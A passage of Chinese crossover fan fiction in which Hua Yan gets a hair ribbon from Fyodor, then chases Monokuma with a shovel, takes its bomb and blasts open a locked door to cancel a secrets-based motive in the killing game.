在弗朗西斯美其名曰这其实不是在帮他,而是在追加砝码为自己增加获胜概率的说辞下,花言还是揣着对方的电子教师手册回宿舍了。 进入宿舍区时,他不忘特意注意了一下入口处的窗口,才发现里面原来真的有人。 不过硬要说有人的话,确实也不算正确,毕竟他没看见人,只看见了一张竖起来的大报纸,报纸严严实实遮住了后面的身影,对方仅露出几根手指搭在报纸边缘,如果不仔细看完全注意不到。 花言仅是停顿了几秒,窗口里拿着报纸的那人就开始不断往回缩手指,像是想要尽量减少暴露在他目光中的面积似的。 他记得坡应该没有社恐到这种地步…… 难不成是因为那场自相残杀游戏开启后,来找他的人络绎不绝,以至于给坡留下什麽心理阴影了吗? 花言感同身受地抬起脚步离去,并觉得系统给对方捏的身份不太好,不过细想一下,这可能也是这所校园里能够找到的、最适合对方的身份了。 打开寝室门,不出意料的,里面空无一人,这里的下午放学时间比较早,大概在三点左右,现在已经三点半了,费奥多尔还没回来,那只能是对方有什麽事要做。 花言随手摘下墨镜,趴在床上一只手拿着学生手册,一只手拿着教师手册,开始来回比对不同。 某种程度上来说,教师的身份其实没有学生自由,前者的校规大部分都是有关学生身心健康和课堂的,看来看去,唯一的好处只有教师身份在没课的情况下可以自由支配时间,以及在学生违规的情况下有一定的管理权限之类的。 研究透彻后,花言索然无味地准备把手册放在一边开始睡午觉,但很快电子学生手册页面弹出的消息通知又让他把手册拿了起来。 ——是“涩泽龙彦”。 消息的大意是在问——他身体怎麽样,是真的不舒服,还是被费奥多尔胁迫了,如果被胁迫了可以告诉对方,对方会第一时间找人控制住费奥多尔前来解救。 花言沉思了一秒,觉得对方好像对费奥多尔过于警惕,不过这也情有可原。 他欣慰地回复对方,自己没事,只是单纯不想上课。 另一边的“涩泽龙彦”像是对此不太理解,仅应答了一声,没有再发送消息。 花言翻了个身,仰躺在床上望着天花板,漫无目的放空思绪,旋即又像是想到了什麽,猛地坐起身戴上墨镜,继续之前被打断的事,用异能召唤武装侦探社的众人来集思广益。 由于没办法跟未参与自相残杀游戏的人提起有关内容,花言只能将在自相残杀游戏中跟费奥多尔可能都想杀彼此的想法包装成某种误会,又将拉费奥多尔摔跤撞在一起昏迷的事情包装成某种意外,顺带提了一下今天对方做的事。 最后问眼前的众人,对方这是什麽意思。 武装侦探社众人解决过很多情感纠纷,但这种情况他们确实是第一次见,一时之间无人开口。 “太宰治”和“江户川乱步”知道花言追求的对象是谁,因此前者正拍着桌子为费奥多尔的倒霉遭遇爆笑出声,直到“国木田独步”给了对方一个暴栗,才中断了“太宰治”笑声。 “太宰治”干咳两声,为难地表示别人他不知道,但如果是“那个人”,一定不怀好意。 “江户川乱步”也有些举棋不定,他看得出花言隐瞒了一些线索,虽然基于现有信息他也能推断出一些东西,但毕竟事关花言的情感问题,为了不给对方造成误判,保险起见,他还是表示自己对于恋爱方面实在是不擅长。 其他人杂七杂八讨论了半天,得出的结论都是——买个礼物给对方当歉礼吧。 总之送礼物就对了。 花言抽空看了眼时间,发现已经临近五点,为了不重蹈覆辙也被费奥多尔发现寝室有人来过,他提前取消了异能,将武装侦探社众人送了回去,确认桌子和椅子上都没温度,也没有留下任何痕迹之后,他拿起电子学生手册给对方发了晚上想吃什麽的信息。 费奥多尔那边依旧回的很快,只是来的没有中午那麽快,对方这次花费的时间要久上一些。 当外面天色彻底暗沉,明亮的月光攀上窗台,耳边才响起门被打开的声响。 门外站着的黑发少年手中提满了纸袋,大大小小数十个鼓鼓囊囊的纸袋衬托得对方身形愈发单薄,再加上对方苍白到病态的脸庞,很让人担心对方会不会因贫血而当场倒地晕过去。 注意到寝室内的白发少年似乎是望了过来,他唇角勉强勾起一抹弧度,“抱歉,路上浪费了一点时间。” 一贯从容优雅的嗓音中掩藏着不甚明显的喘息,看起来这些东西真的很重。 “不用在意。” 花言关切地上前接过对方手中的纸袋,放置在了桌上,有些好奇对方提着的东西。 费奥多尔也像是看出了花言的好奇,他仅留下了一个纸袋,将剩余的推到对方面前,“这些都是涩泽君托我给您带的甜品。” 花言:! 意外之喜! 没等花言看都有些什麽甜品,对方又从面前的纸袋中拿出了一份打包好的晚餐放在他面前。 “这是您想吃的晚餐。” 花言:! 喜上加喜! 费奥多尔似乎还想说些什麽,但看见对方脸上对食物毫不遮掩的期待,他无奈地叹了口气,“您先吃吧。” 花言热情地邀请对方,“你不一起吃吗?” “我吃过晚餐了,所以已经吃不下这些了,谢谢您的好意。” 主要是费奥多尔现在有些怀疑这些够不够对方吃,毕竟从他跟眼前少年相处的记忆中来看,对方最起码有三分之一的时间不是在吃,就是在去吃的路上。 花言没有坚持,他应了一声,在甜品与晚餐之间犹豫了一会儿,还是决定先吃晚餐,吃完晚餐开始先吃自己喜欢吃的甜品,依照最喜欢和普普通通喜欢的顺序排序享用。 于是费奥多尔眼睁睁地看对方吃了一个多小时,虽然对方的进食速度并不快,甚至还保持着礼仪与风度,显得有几分赏心悦目,但对方真的一点都不觉得这些甜点腻和撑吗? 十几盒甜品到最后只剩下了几盒可以存放的点心,花言优雅擦拭着嘴角,心情愉悦地朝费奥多尔表示感谢。 后者对此并不在意,相比之下他更在意对方吃了这麽多东西,是怎麽做到跟没吃一样——腹部仍旧平坦的。 这个疑惑在费奥多尔脑海里浮现不到一秒便被压下,他从手边的纸袋里拿出最后一样东西推到对方面前。 花言微愣,第一反应是还有什麽吃的,但在看清面前物品外观时,很快意识到这似乎不是吃的。 对方推过来的是一个纯白的礼盒,一片纯白中掩藏着精致的银色的暗纹,礼盒被用浅色调的绸带包裹,最上方打着漂亮的蝴蝶结。 “这是歉礼。” 费奥多尔语气温和,说明了这份礼物的意义。 “对于晚上我使您成为果戈里目标的事情,以及我对您做出的那些事情,都十分抱歉……” 灯光下,拥有着罕见紫罗兰色眼眸的异国少年脸上浮现出些许困扰和为难,“在那种失忆、又有外力影响的情况下,我可能会继续不利于您,也可能不会,无论如何,我都由衷希望您不要因此生我的气。” 花言感动的险些泪流满面,只可惜即将湿润的眼角在脑海中系统先一步用电子音发出的呜咽声里干涸。 对方这几下抑扬顿挫的僵硬呜咽把气氛破坏了个遍。 【宿主……我觉得你离成功就一步之遥了。】 不对!他的攻略任务! 花言骤然反应过来,这不是他要用的攻略策略吗?怎麽被对方用了?那他之后用什麽?! [马路牙子。] 花言沉痛控诉。 [他说的都是我的词啊!] 更重要的是,基于他的攻略策略被费奥多尔用了,导致他忽然回想起了对方的性格,以至于开始觉得对方是不是在借此暗示他什麽。 是在指责他昨天把果戈里和西格玛骗去烦对方?还是在暗示对方果然悄悄在宿舍里瞒着他进行着什麽不为人知的独自毕业计划,所以先提前道歉? 这些想法在花言心底一闪而逝,没有完全遮盖他此刻的感动。 “不用道歉,是我该道歉才对。” 费奥多尔轻轻摇了摇头,没有执着于谁对谁错这个问题,将话题重新引回正轨,“您不拆开看看吗?” 花言视线落到面前的礼盒上,老实说,这还是他第一次收到歉礼,同样也是在来到这个世界后第一次收到礼物。 指尖拉着绸带缓缓散开,揭开的盖子下,引入眼帘的是一根精致简约的紫色发带,发带上的紫仿佛并不是那种单调又纯粹的色彩,这种紫色在灯光下有些深,在阳光下又会显得浅,优雅神秘的多变感像极了…… 花言墨镜下的眼眸下意识抬起看向对面少年的双瞳。 如果说是完全一致的话也不正确,这条发带在光影间闪烁着星星点点的银光,里面似乎有银质丝线一同编织,整体看起来像是紫色星云中散落的银色星尘。 简约但并不朴素,精致又并不奢华。 完全符合花言的审美! “我下午去了涩泽君那一趟,托他帮我制作了这条发带。”费奥多尔眼眸微弯,即使他已经从对方的反应中得到了答案,也依旧再次确认,“您喜欢吗?” 花言毫不犹豫地点头,“谢谢你,我很喜欢。” “符合您心意就好。”费奥多尔眼眸中笑意加深,“虽然一会儿可能就要休息了,但趁现在还有时间,您要试试吗?” 其实花言一直没有把这头长发扎起来的原因,是他觉得披散着更方便他欣赏这头美丽的白毛,不过既然这是对方送的礼物,那区区白毛扎起来也无所谓。 花言应了一声,随手捞过头发在身前扎成一束,扎起来后他低头望着垂落在一侧的长发,不知怎麽,觉得这种发型似乎有点危险。 费奥多尔注意到对方扎头发时的动作,好心提醒,“您这样扎发带是会滑落下来的。” 花言以前没有留过长发,也没有扎过长发,因此他没有这方面的经验,听见这个提醒,他拉了拉发带,发现确实如对方所说,看起来这方面似乎有什麽他不了解的技巧。 费奥多尔看着对方手中换了好几种打结技巧,已经明白了什麽,“如果您不介意,我教您如何?” 花言没有拒绝,“好。” 对面坐着的费奥多尔起身走到他面前,轻声告知他技巧的同时,不忘演示了一遍,修长的手指耐心地梳理好每一缕白发,指尖勾着紫罗兰色的发带在纯白的发丝中穿梭,一缕缕悉心缠绕,直到最后无法轻易扯下。 费奥多尔拉紧发带的两侧,抬起眼帘看向眼前的少年,此刻两人之间距离已经超过了正常社交的作用域,再加上对方长发被扎起,许多之前被盖住的局域都暴露在了灯光下。 因此他现在能够轻易地发现以往未曾注意到的细节,比如说——对方在灯光下微微泛红的耳尖,这点反应很细微,像是因性格上的内敛导致与人过度接触时而产生的不习惯,也像是因某种更深层的因素而产生的猝不及防。 花言在这方面记忆力很好,近乎看一次就会,他自己解开尝试了一次,在完美扎好后,他再次意识到了一个问题。 费奥多尔会送他发带,该不会是为了以防——他在不经意间被夹到一缕头发,而再次拉着对方发生那种惨案吧? 第65章 眼前是一片模糊的白色调世界,他像是在狭窄的走廊,两侧墙壁同时出现在视野中,上方天花板洒落灯光,使白色调的世界中浸透出些许橘红。 花言下意识伸手摸向双眼,指腹传导回粗糙的触感,他后知后觉地想起墨镜已经被摔坏,现在双眼上缠绕着用于遮住瞳色的纱布,而此刻他正在从食堂去体育馆的路上。 几分钟前,他还在食堂当烘培小能手制作美味料理,但黑白熊忽然大煞风景地从屏幕中出现,通知所有人去体育馆。 脑海中的记忆重现的时间可没有几分钟那麽短暂,不像是过了几分钟,更像是过了十几个小时。 花言知道自己身体会出现对时间感到异常的缘由,因此他对白天——他所失去的那段记忆更好奇了。 虽然夜晚的这场游戏看起来会相当精彩,但白天当他回想起所有后会做些什麽呢?是争分夺秒找到制造出夜晚这场游戏的幕后黑手,结束这一切?还是在静静等待事态变化,直到达成他的目的? 花言继续迈出脚步,直到停在体育馆前,推开大门。 门后一如既往地是分散的众人、寂静的氛围,以及看上去像是等候已久的黑白熊。 “花言同学又是最后一个到的呢。”黑白熊似乎对此有些不满,但又像是想起了什麽,表示理解地点头,“不过嘛,既然花言同学眼睛不方便,会慢点也是理所当然。” 花言对于黑白熊这番话不置可否,这里到处都是监控,对方很清楚他有没有受伤。 第一次会特意说出来以为他受伤,是为了想借机暴露他的“才能”。现在再次强调应该是想暗示其他人,他是个很好下手的对象吧。 “所以你又有什麽事?”花言惦记着他在食堂烹饪的料理,没忍住催促,“我还有事干呢。” 这种不耐烦的态度让黑白熊气愤地发出指责,“花言同学耐心好差!” 到底是谁耐心差?对方居然还好意思说他耐心差。 花言有些想跟对方辩论一下这一点,但想到这样说不准会正中对方下怀——更浪费时间后,还是忍住了。 他在果戈里的热情挥手下走了过去,发现对方身侧站着两人,从轮廓看应该是西格玛和费奥多尔,看起来对方没能说动费奥多尔去密室。 黑白熊没有得到花言的回应也不在意,它故作严肃地干咳了两声。 “既然大家都如此期待,那我们直接进入正题吧!” “我知道的哦,你们这些家夥一个个都非常珍惜自己的生命,比起热血与勇敢,更喜欢稳妥,在得知新的规则后,一定害怕的不敢杀人,怀揣着也许有其他方法可以出去的妄想吧。” 黑白熊捧着肚子大笑起来,“虽然我不会指责你们怯懦的做法,也十分欢迎你们一直留下,但如果一直这样就有些无聊了呢。” “所以——我打算给你们新的‘动力’!” 它从身后拿出了一叠白色信封,煞有介事的说明,“这次的主题是羞耻的回忆,以及不想被人知道的过去!” 可能是考虑到这些人中有视觉不方便的人存在,黑白熊跳下讲台,将信封一个个放进了映射的人手中,发完信封它又爬回了讲台上。 在这里的所有人都有不为人知的过去与属于各自的秘密,有的秘密甚至连身旁的同伴都不知道。 听见黑白熊的话,他们有的表情不屑,有的面色凝重,但在拆开信封看见上面内容的一瞬间,他们的表情都发生了变化,看向黑白熊的目光也带上了某种怀疑与惊疑不定,似乎是不明白为什麽对方会知道这些事。 按理来说,知道这些的人不是死了,就是只有特定的那麽几个,亦或者是没有跟其他人说过、是完全埋藏在心底的想法,无论从何种角度来看,都不会有泄露的可能才对。 黑白熊察觉到众人目光的变化,它捂着嘴巴噗噗笑出声,“惊讶吗?更惊讶的还在后面呢,限时为二十四小时,如果这段时间内,还没有犯罪者出现的话,我就将上面的内容公之于众。” 话音落下,场内的氛围瞬间降至冰点。 原本惊疑不定的视线裹挟上浓重的杀意,不是针对于在座的同伴、或是那些没有交集的陌生人,而是针对黑白熊,确切来说,是幕后操纵黑白熊、设计了这一切的人。 ——这是绝对不能暴露的秘密。 他们近乎都从其他人眼中看出了这一层意思。 花言手中捏着信封没有拆开,他纱布下的视线扫过体育馆内,感受到了氛围的变化。 西格玛在看见其中的内容后骤然沉默;果戈里脸上笑容加深了不少,杀意也随之蔓延;费奥多尔气息倒没什麽变化,不过却开始啃咬指尖了,也像是在为此苦恼。 站在这三人之中,花言觉得自己好像有点格格不入,比如说他也该表现出点愤怒或者阴郁出来,但他视野受限,看不见信封里的字。 果戈里注意到花言抿起的唇角,他看了看对方手中没有拆开的信封,又看了看对方被纱布缠绕的双眼,恍然大悟。 意识到了机会,并热情地伸出援手,“花言,你眼睛受伤了不方便,可以让我念给你听哦!” 花言:…… 果戈里,你多冒昧啊…… 这算盘珠子都崩到他脸上了! “谢谢,但是不用。”花言冷酷拒绝,把信封揣进了怀里。 黑白熊宣布完这个令人充满杀意的消息丝滑跳进讲台离场,花言确认对方不会再整什麽事,打算离开体育馆,找一个没人的地方看一下信件上的内容。 身旁的果戈里似乎一定要得到什麽,试图劝他回心转意,“真的不用吗?花言——为什麽陀思君可以给你念,我就不可以呢?难道——我被孤立了吗?!你们在我不知道的时候有了小秘密?” 说到最后果戈里的语气愈发伤心了起来。 花言深吸一口气,看向一旁十分安静、像是仍旧沉浸在思绪中的费奥多尔,果断拉过后者当挡箭牌,“有什麽事情你可以问他,我还有事先走了。” “花言——” 果戈里用一种十分悲痛欲绝的口吻喊着对方的名字,像是对方做了什麽相当冷酷无情的决定一样。 花言应了一声,事先警告,“不许跟过来,否则我可不能保证会出什麽事!” 花言丢下这一句话,没有再关注身后人的反应,他捏着信封快速离开了体育馆,斗篷在大幅度的动作下扬起,直到进入食堂后厨停下。 反锁好门,确认后厨内空无一人,花言撕开手中的信封。 他有些希望信封里的内容会是他所失去的那段记忆中的某个秘密,但黑白熊浓重的恶意又让他觉得对方肯定没那麽好心,那信封里的内容应该是他所知道的,可会是什麽呢? 他不想让其他人知道的秘密很多——会是他其实对这场自相残杀游戏非常了解,还是更为隐秘不想让他人知道、甚至不惜为此动手杀人的秘密……? 花言背靠门板,缓缓展开手中的白纸,指尖将眼睛上的纱布抬起一角,色泽绚丽的眼眸微垂,紧张地看向其中的内容。 上面是用黑色蜡笔写出的稚嫩字迹——“花言同学的眼睛其实根本没有诅咒,一直不让人看见,只是因为他的眼睛是花里胡哨的七彩玛丽苏!” “哈。” 花言笑了。 气笑了。 他将纸一点点撕成细密的碎片,打开后厨的水龙头,确认上面的字迹全部晕染开才冲进下水道。 他没有在意后厨内还在火上的锅,也没有管里面的汤已经传出了糊味,一把拉开后厨的门,不出意外地在门后看见了正在试图偷听的果戈里,后者似乎想解释些什麽,但花言已经径直略过了他走了出去。 后厨外面的食堂大厅内坐着费奥多尔和西格玛,两人像是被果戈里强行拉来的,也像是在等待着花言出来讨论些什麽。 只不过花言现在没有想要讨论的想法,他一路走到了杂物室门口,推开了杂物室的门。 随后一脸笑容地看向头顶的摄像头,语气温柔又带着恰到好处的困惑,说出口的内容也模糊不清。 “校长,你在吗?对于那些规则和只有我们两个知道的事……我有个问题想请教一下。” 一双黑白的小圆手扒着门框,黑白熊的脑袋小心翼翼地从门边探出。 “什麽事?花言同学?听你用这种语气说话还挺不习惯的呢。” 花言右手不动声色地握住了杂物室门边的铁锹,试图继续用话术安抚黑白熊的情绪,“是这样的,校长,我觉得这个‘动机’不太好,死一个人开一层的限制也有些太慢了。” “那你有什麽好的建议吗?花言同学?” 黑白熊隐约嗅到了危险的气息,它警惕地一点点后退。 “有的,校长,这样的好建议我有十一个。” 花言将铁锹背在身后,一步步紧逼。 “这麽好的建议,我会在后面听你慢慢说的……”黑白熊开始顾左右而言他,“哎呀,花言同学,你有没有闻到什麽糊味?好像有什麽东西糊了,这样下去说不定会着火,为了大家的安全,我得去看看。” 黑白熊说着转身迅速逃跑,而花言也不装了,他脸上的笑容瞬间消失,握着铁锹追在对方身后。 “没东西糊,校长,你能不能帮我补充一下房间里的炸弹,我没有炸弹我怎麽犯罪啊?你不是想看见案件发生吗?” 花言语气咬牙切齿,注意到黑白熊前面的地板似乎打开了一块,意识到对方想故技重施跳回地板。 他早有准备地甩出铁锹挡在洞前,黑白熊一下子撞在铁锹上发出“铛”的轻响,整个熊的零件都要被晃晕,但它却来不及整理脑海中的震荡,花言的手紧随其后,黑白熊只能灵活地往上一跳,趁对方握空没能反应过来的间隙,继续逃跑。 它一边喊着“救命”一边不断在走廊上狂奔。 食堂里的三人眼睁睁地看着黑白熊手忙脚乱地在前面逃,花言提着铁锹在后面追,一个熊喊着“救命”,另一个人咬牙切齿地冷笑着说“你敢威胁我”。 事到如今,花言也不在乎会被黑白熊报复了,他知道对方肯定会提供新的动机,但他没想到对方居然想把他玛丽苏的瞳色暴露出去。 对方都敢拿这个来威胁他了,还有什麽是对方不敢做的?! 他现在就要抓到黑白熊,拆解出对方体内的炸弹,直接炸出信道! 果戈里站在食堂门口望向跑远的雪白身影,发出一声惊叹,“哇哦。” 费奥多尔站在果戈里身侧,若有所思,“看起来花言也十分不想暴露这个秘密呢。” 西格玛赞同地点头,原本他心情还有些沉重,但不知道为什麽,看见对方追黑白熊的模样后,他忽然觉得也许自己不用这麽焦急担忧,毕竟肯定会有人比他对此更感到愤怒——比如说花言,对方为了不想暴露,宁可违反校规对校长使用暴力。 果戈里逐渐意识到这件事的有趣之处,他兴高采烈地伸出手追上了花言,“花言——我来帮你!” 花言没有过多注意身后果戈里的动静,他正全神贯注地追黑白熊。 他的身手不算敏捷,体力也不算强,不过他手中的铁锹很好弥补了这一点。 每当黑白熊想要钻入什麽地方逃离他的追捕,他就会使用铁锹阻断对方的路线,这样黑白熊就会被阻碍到一点时间,他们之间的距离就能够拉短,他总能找到机会抓住对方的。 黑白熊和花言一路从杂物室跑到了二楼,他们发出的动静近乎被所有人注意,太宰治四人原本站在二楼走廊上,在看见黑白熊直冲他们而来时,他们下意识让出了一条路,毕竟黑白熊会爆炸,谁知道对方自己撞上了他们会不会耍无赖当作对校长使用暴力——判他们违反校规。 花言急促地喘息着穿过太宰治四人,眼见黑白熊要逃进图书馆,他下意识出声希望得到谁的帮助。 “拦住它!” 要是对方进了图书馆,那是真的不好抓了。 图书馆内到处都是书,地形复杂,还有的地方光线昏暗,他现在视力不好,指不定真能给对方跑了,而一旦让对方跑了,那后面黑白熊肯定不会再出现在他面前了。 在黑白熊即将逃进图书馆的前一秒,里面刚好有人听见动静走了出来,前者不偏不倚地撞在了对方小腿上,发出“哎呀”的一声痛呼,没等黑白熊缓过来绕过对方小腿继续往里逃去,一只手将它从地上抓了起来。 “吵死了,你们在干什麽?” 不耐烦的嗓音响起,中原中也手里抓着不断扑腾的黑白熊,看向走廊内跑过来的花言。 黑白熊来不及多解释什麽,眼见花言的距离不断拉近,直接对中原中也发出警告。 “快放开我!对校长使用暴力是违反校规的!” “哈?” 中原中也有些不明所以,他觉得自己并没有对黑白熊使用什麽暴力,他只是被外面的噪音吵到了,所以出来看看而已,谁知道他刚走出来,就有个东西撞在了他腿上,现在他把那东西拿起来一看究竟也很正常吧? 中原中也即将说出口的反驳在手中黑白熊响起的熟悉倒计时声响时咽了回去,身为港口mafia的干部,他自然很清楚这种声音意味着什麽。 黑白熊体内有个炸弹,现在正在倒计时。 对方之前就爆炸过一回,怎麽现在还能炸?难道每个黑白熊体内都有炸弹吗? 那他们现在是在什麽地方?充满了炸弹的不稳定局域?这也配叫学校? 中原中也轻啧一声,举起手准备将这个已经触发的炸弹朝没人的地方丢出去。 在他即将脱手的前一秒,一道清冷的嗓音响起。 “抛给我!” 中原中也手腕一转,下意识往声音传来的那边抛去,在脱手而出的那一瞬间又反应过来了不对劲,但已经来不及了。 “喂!快躲开!” 现在这里可没有异能,用身体硬抗炸弹简直等同于找死。 花言没有躲,他注视着不断靠近的黑白熊炸弹的同时,不忘感谢中原中也的好心提醒,“没关系。” 他低低笑了一声,在黑白熊炸弹的落点弧线中举起手,似自言自语般,“如果炸弹把我炸死,那说明我的‘才能’根本不算‘才能’。如果炸弹在我面前爆炸让我受伤,没有让我达成目的,那就说明我的‘才能’也不过如此。” “如果我的‘才能’是真的,那我想要达成的目的,理应达成。” 在倒计时停止的那一刻,黑白熊也随之落在花言手中。 此时,寂静无声。 炸弹没有爆炸,黑白熊中的程序重新苏醒。 它像是没有弄清楚情况,扭过头看了看图书馆门口难以置信的中原中也,又看了看花言身后面色各异的太宰治四人,以及站在楼梯口以为炸弹要爆炸停住脚步看热闹的果戈里,和姗姗来迟的费奥多尔与西格玛,最后看向抓住了自己的白发少年。 后者双眼被纱布缠绕,看不清太多的情绪,仅能从对方扬起的唇角感受到对方心情似乎颇为愉悦的事实。 黑白熊挠了挠脑袋,试图缓解尴尬,“哈哈,花言同学,我是害怕伤害你,所以故意停下炸弹的。” 在场所有人都能看出这是一句谎话,不过花言不在乎。 他以同样的口吻回答,“哈哈,校长,我好感动,这是不是说明你愿意帮我了?校长,你真好,可以再来一个黑白熊吗?” “说什麽呢,这所校园里只有我一个校长。”黑白熊额头缓缓冒下冷汗。 花言举起了手中的铁锹,有些遗憾,“好吧,校长,我会永远记得你所付出的一切。” 铁锹锋利的边缘在灯光下闪烁着寒光。 黑白熊冷汗冒得更厉害了,它不断挣扎,两只小圆手小圆腿在半空中扑腾,大叫着,“快救我,永恒之枪冈尼尔!” 花言早在对方发出声音的一瞬间就猜到了接下来的发展,他轻盈地往后跃了一步,躲开了地面冒出众多铁锥,闪烁着寒光的锋利铁锥在半空中错落交叉,如果这一击中了肯定能把人变成马蜂窝。 黑白熊见一击不成,刚想再次开口,花言率先握着黑白熊的脖子往铁锥上摔去。 “啪嚓。” 一声金属被金属刺穿的声响在空气中蔓延,花言杜绝了接下来对方会源源不断召唤陷阱攻击他的可能。 他当场拆开布偶,里面线路交错,省略掉一些乱七八糟不重要的零件,终于翻找到了他想要的东西。 忙碌了半天的花师傅费尽千辛万苦,终于得到了他想要的炸弹。 花言手中拿着一枚有脑袋那麽大的黑漆漆圆形炸弹,径直下了楼梯回寝室,二楼的其他人出于某种好奇和防备也跟了上去,只是还没能看见对方想做什麽就被对方关在寝室门外。 花言拉开抽屉,掏出里面的工具包开始改装炸弹,改装好后他匆匆扫了一眼桌面和抽屉,没发现那台笔记本计算机,看起来费奥多尔将它收起来了。 花言没过多在意,相比之下还是一会要做的事情更重要一些。 他拉开门,步履匆匆地又跑回了二楼,来到通往三楼的信道前,楼梯口处有一扇的铁门,上面的栏杆看起来挺粗,如果是一般炸弹说不准真炸不开,但他手中的不是一般炸弹。 里面有足够的火药,同样经过改良,这枚炸弹爆炸之后的威力完全能够炸开一个供人通过的洞。 仿佛是意识到他想做什麽,墙面上的电子屏幕亮起,黑白熊的身影在其中出现。 后者飞速按着手机添加校规,试图阻止,“破坏上锁的门是违反校规的!” 花言微笑着在口袋中电子手册响起的前一秒启动了炸弹。 他站在安全局域,感受着面前掀起的热浪,雪白的发丝与斗篷衣摆在掀起的气流与尘埃中纷飞。 “我也没办法,校长。” 花言叹息着开口,给出了和解的条件,“我没办法在二十四小时内制造出完美犯罪,也没办法挑唆其他人在二十四小时内杀人,我很焦虑,也很烦躁。我想来想去,觉得在二十四小时内打开所有门、得到所有线索、破解幕后黑手,可能会比这更快。” “你这家夥!” 黑白熊怒不可遏地威胁,“既然这样,别怪我不客气!我现在就把你的秘密公之于众!不仅仅是你拿到的,还有你其他的、所有的秘密!” “错误回答。”花言唇边弧度不变,嗓音却沉了下去,“那我会做的不仅仅是炸开所有门,我还会告诉所有人关于这场自相残杀游戏的秘密——你永远别想再看见死亡发生。” 黑白熊发出不甘心的咕噜声,没有开口,花言也站在原地没动,二者无声对峙。 半晌,黑白熊退让了一步。 “好吧,身为校长逼迫学生做不想做的事情也不太好,我知道了,这个‘动力’暂且先作废吧。” 黑白熊像是失落般垂头丧气地坐回了椅子上,“真是的,难得看见花言同学情绪如此激烈,没想到居然是用于对付我。” 这一套对于花言不管用,他同样流露出失落的神色,“我也没想到校长你居然会如此针对我。” 黑白熊见对方油盐不进,愤怒地警告,“我已经按你说的做了!从此以后,你不准再违反校规!不然就算违反信用,我也会不断对你出手!” 最后它亮出了爪子,结束通话。 花言达成目的,看了眼门上炸出的大洞,心满意足地准备去找费奥多尔一同探索。 结果这一回头,发现自己不用找了,不仅不用找,甚至可以说想找谁都行。 只见不知何时,参与这场自相残杀游戏的成员都站在了自己身后,也像是都听见了全程,他们面色古怪,有些欲言又止。 花言:…… 总之先说点什麽吧。 “呃,正好门开了,要一起看看第三层有什麽吗?” 一路跟着跑上跑下围观了全程的众人:…… 什麽是正好门开了? 别说的像是什麽都没发生一样啊! 第66章 沉默的氛围没有因为花言主动而变得活跃起来,其他人与周围同伴交换着眼神,像是在无声讨论些什麽。 一次主动换来一生的内向。 花言站在原地等了一分钟,在继续说话和扭头进三楼两个选项中犹豫了一秒,果断选择了后者准备逃离这个尴尬的地方。 “等一下。” 见花言要离开,大仓烨子率先出声打破了僵局,她狐疑地打量着对方,脑海中还在回放对方与黑白熊对峙时所说的话。 他们都很感谢对方让黑白熊收回了这次“动力”,也让他们也不必陷入两难的境地。 但同样的——他们也很在意对方威胁黑白熊所用的秘密,怎麽听起来对方对这场自相残杀游戏十分了解似的? 白发少年的身形微顿,回过头像是望了过来。 大仓烨子接着问道:“你是不是知道些什麽?” 花言点了点头又摇了摇头,有些爱莫能助,“你们应该已经清楚了,虽然我确实知道点关于这场自相残杀游戏的东西,但是我也没办法告诉你们,如果我告诉你们了,那黑白熊一定会将我的秘密公之于众,所以我不会冒这个险。” 他顿了顿,委婉地表示,“我知道的东西很少,也没办法揪出幕后黑手,况且,我知道的东西你们也迟早会知道……” 花言尾音还没完全落下,一旁的屏幕再次亮起,黑白熊张牙舞爪地在屏幕中发出警告。 “花言同学!” 花言宕机立断闭上嘴,只对面前的众人表示歉意地笑了笑。 看在这种颇具诚意的反应上,黑白熊勉强相信对方是无意的,它恶狠狠地怒哼一声,留下一句威胁再次消失。 “我会一直一直监视你的!” “总之就是这样。” 花言微微耸肩,也不在乎其他人会怎麽看自己了,事到如今,只要他的秘密没有暴露就行了。 “如果怀疑我,来杀我也无所谓。”前提是能的话。 后面一句话花言没有说出口,他现在已经完全确认他的“幸运”能做到的作用域了,也许是在这所校园里有某种世界观加持,他的运气稳定了许多。 大仓烨子神色复杂,不仅她神色复杂,观看了花言是如何得到炸弹全程的几人也都神色复杂。 暂且不提以对方跟黑白熊之间激烈的争端,足以表明对方不可能是幕后黑手。光是对方敢抓已经触发了的炸弹、硬抗违规校规后果,还分毫无损的模样就已经足够诡异了,以至于他们总有种对对方出手会有不好后果的感觉。 果戈里短暂地沉默后重新恢复一如既往的态度,热情地拉起花言手臂走向三楼。 “他们怀疑也没关系啦——我们可是一直信任你的哦!花言,一起去探索新局域吧!” 花言对这番话相当质疑。 在所有人中就果戈里对自己下手的次数最多,对方究竟是怎麽好意思说出这种话的啊? 花言有些欲言又止,但看在对方主动把他带离这个尴尬地的份上,他还是把质疑咽了回去,顺应对方的力道一同走上通往三层的楼梯。 费奥多尔见状朝其他人微微点头,礼貌性地表示失陪,跟上了两人的脚步。 仿佛被遗忘的西格玛在去与不去中徘徊了一会儿,最终也咬牙跟了上去。 剩余的众人你看看我我看看你,半晌,中原中也发出一声疑问,说出了所有人的心声。 “那家夥的‘才能’究竟是什麽?” 连已经触发的炸弹在对方手中都能出现短路,还一副对炸弹这麽了解的模样。 “超高校级的炸弹专家”吗?还是“超高校级的闪避专家”? …… 黑白熊像是已经接受了三楼开放的事实,在电子学生手册上更新了三楼的地图。 果戈里划拉着手中电子学生手册的屏幕,兴致勃勃地开口,“三楼看起来只有三个局域——美术室、娱乐室、物理实验室,提问!我们要先去哪边呢?” “唔……我们的时间并不多,其他人肯定也已经上来了。”费奥多尔思索着做出了决策,“如果不想错过任何线索,我们最好分成三边,同时搜索这三大块局域。” “要独自行动吗?”果戈里夸张地发出一声惊叫,“哇呜——听起来很危险,落单被杀掉了怎麽办?” “在学级裁判的规则下,他们应该不会贸然出手,更何况……”费奥多尔紫罗兰色的眼眸看向一路上十分安静的白发少年,“现在没有能够促使他们不顾一切的‘动力’了。” “原来如此……”果戈里缓缓眨了眨眼睛,又意识到了新的问题,“可是我们有四个人,分成三分的话,就会有一方是两人一队,花言眼睛不方便,谁陪他呢——?!” 没等果戈里毛遂自荐,费奥多尔率先做出了决定,“让西格玛陪他吧。” “咦?”这是果戈里完全没想到的答案,他视线在花言和费奥多尔之间来回扫视,好奇地问,“你们吵架了吗?” 费奥多尔意有所指地说道:“没有,只不过我认为这样,我们都会更放心一些,不是吗?” 花言闻言微微抬起头看了眼两人,他知道费奥多尔这句话是在隐晦地指责他——在明知道对方在修理计算机情况下,还把果戈里和西格玛引了过去。 不过看果戈里和西格玛的反应,费奥多尔应该没让这两人发现计算机。 果戈里弯着眼眸,仅笑着没有回答。 “您想去哪?”费奥多尔询问对方的意见。 